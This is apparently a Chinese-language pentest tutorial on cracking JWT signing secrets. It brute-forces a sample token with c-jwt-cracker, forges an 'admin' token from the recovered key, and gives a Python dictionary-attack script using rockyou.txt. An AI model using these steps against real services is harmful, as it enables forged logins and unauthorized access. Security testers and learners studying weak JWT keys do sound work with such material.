jwt暴力破解和字典破解
JWT(JSON Web Tokens)分为三个部分:
- 头部(Header):包含了令牌的元数据,并且包含签名和/或加密算法的类型。
- 声明(Claims):包含了实体(通常指用户)以及额外的元数据。
- 签名(Signature):用于验证发送者的信息并确保消息没有被篡改。
这三个部分通过英文句号.
连接在一起,形成了JWT。每个部分都是使用Base64URL编码的,这使得JWT可以方便地在网络环境中传输。
本文将介绍jwt的暴力破解和字典破解方法。
0x01 安装pyjwt
pip install pyjwt
# 如果import jwt然后使用报错AttributeError: module 'jwt' has no attribute 'decode'
# 这是因为装错成pip install jwt
0x02 安装jwtcrack
jwtcrack:JWT brute force cracker written in C
git clone https://github.com/brendan-rius/c-jwt-cracker
cd c-jwt-cracker
# 不能直接make
# 否则运行还会报Cannot initialize the default message digest sha256, aborting
apt-get install -y libssl-dev
make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib
# 就会在目录下生成jwtcrack
使用jwtcrack爆破key值
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.80ohpphZmbBgvim4l1wJwDj5bynPlBfshTtHsrcELx0
# 得到
Secret is "6a423"
生成新的jwt
#!/usr/bin/env python3
import jwt
alg = 'HS256'
# 原本是test,这里伪造成admin
claims = {'username': 'admin'}
key = '6a423'
print(jwt.encode(claims, key, alg))
0x03 jwt字典爆破
以上的jwtcrack当key值的长度过大时就不适合直接爆破,这时候就可以考虑字典爆破。
这里得先准备一个字典文件,我选择了Kali Linux的rockyou.txt
cp /usr/share/wordlists/rockyou.txt.gz .
gzip -d rockyou.txt.gz
# 获得rockyou.txt
(以下代码是以往收集的,小改下)
#!/usr/bin/env python3
# pip3 install pyjwt termcolor
import jwt
import termcolor
jwt_str = R'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1OTAzNDgzMzMsInVzZXJuYW1lIjoiMTMwMDAwMDUifQ.wpkLNdbGwB8nFyVXw2nJvpRWRN5pSpZPLIAkGRzw198'
alg = 'HS256'
passwd_txt = 'rockyou.txt'
with open(passwd_txt) as f:
for line in f:
key_ = line.strip()
try:
jwt.decode(jwt_str, verify=True, key=key_, algorithms=alg)
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
break
except jwt.exceptions.InvalidSignatureError:
print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
continue
else:
print('\r', '\bsorry! no key be found.')
pass
# bingo! found key --> 123456789 <--
0x04 其他github项目
(罗列几个项目,有空自己尝试)
- jwt_tool :A toolkit for testing, tweaking and cracking JSON Web Tokens
- JWTPyCrack:JWT 弱口令 Key 爆破以及生成 NONE 加密的无 Key 的 JWTString